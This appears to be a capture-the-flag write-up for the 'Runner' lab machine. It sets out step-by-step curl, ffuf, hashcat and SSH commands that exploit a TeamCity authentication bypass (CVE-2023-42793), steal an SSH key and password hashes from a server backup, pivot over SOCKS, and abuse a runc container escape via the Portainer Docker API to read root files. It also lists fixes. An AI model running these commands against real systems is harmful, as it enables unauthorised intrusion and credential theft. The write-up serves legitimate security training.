Runner
Summary
I fuzzed virtual hosts on the target's nginx front end and uncovered an internal TeamCity build server at teamcity.runner.htb still running a version vulnerable to the unauthenticated admin-token-creation bug (CVE-2023-42793). Minting a token as the admin user gave enough access to trigger and download a full server backup, which bundled an SSH private key and a database dump of bcrypt password hashes in one archive.
The SSH key logged straight in as the local user 'john' for the user flag, and a cracked hash for user 'matthew' turned out to be reused on an internal, localhost-only Portainer/Docker management panel reachable only through a SOCKS pivot over the SSH session. With Docker API access as an authenticated Portainer user, I created a container that abused a known runc container-breakout flaw (CVE-2024-21626, runc 1.1.7) to read and traverse the host filesystem as root, giving full system compromise and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET runner.htb teamcity.runner.htb" | sudo tee -a /etc/hostsffuf -u http://$TARGET/ -H 'Host: FUZZ.runner.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154curl -sS -H 'Host: teamcity.runner.htb' http://$TARGET/login.htmlExact commands 1
curl -sS -i -X POST -H 'Host: teamcity.runner.htb' -H 'Accept: application/json' http://$TARGET/app/rest/users/id:1/tokens/RPC2FixPatch TeamCity past the CVE-2023-42793 authentication bypassCritical
Exact commands 5
curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -X POST "http://$TARGET/app/rest/server/backup?includeConfigs=true&includeDatabase=true&fileName=codex_runner_backup"curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -o codex_runner_backup.zip "http://$TARGET/get/file/backup/codex_runner_backup.zip"unzip -p codex_runner_backup.zip config/projects/AllProjects/pluginData/ssh_keys/id_rsa > john_id_rsa && chmod 600 john_id_rsaunzip -p codex_runner_backup.zip database_dump/users > teamcity_users.dumphashcat -m 3200 -a 0 matthew_hash.txt rockyou.txtFixStop bundling recoverable secrets in downloadable server backupsHigh
Exact commands 2
ssh -i john_id_rsa john@runner.htbid && hostname && cat /home/john/user.txtExact commands 3
ssh -i john_id_rsa -D 1080 -N john@runner.htbcurl -sS --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:9000/api/statuscurl -sS --socks5-hostname 127.0.0.1:1080 -H 'Content-Type: application/json' -d '{"Username":"matthew","Password":"$PASSWORD"}' http://127.0.0.1:9000/api/authFixEliminate password reuse across servicesHigh
Exact commands 4
curl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' -H 'Content-Type: application/json' --data '{"Image":"ubuntu:latest","Cmd":["/bin/sh","-c","id; ls -la ../../../../../../../../"]}' http://127.0.0.1:9000/api/endpoints/1/docker/containers/createcurl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/start'curl -sS --socks5-hostname 127.0.0.1:1080 -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/logs?stdout=true&stderr=true'cat /root/root.txtFixPatch runc / Docker to close the container-escape vulnerabilityCritical
--privileged, and don't expose the Docker/Portainer administrative API to any account that shouldn't have host-equivalent access.Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 8000/tcp | nagios-nsca Nagios NSCA |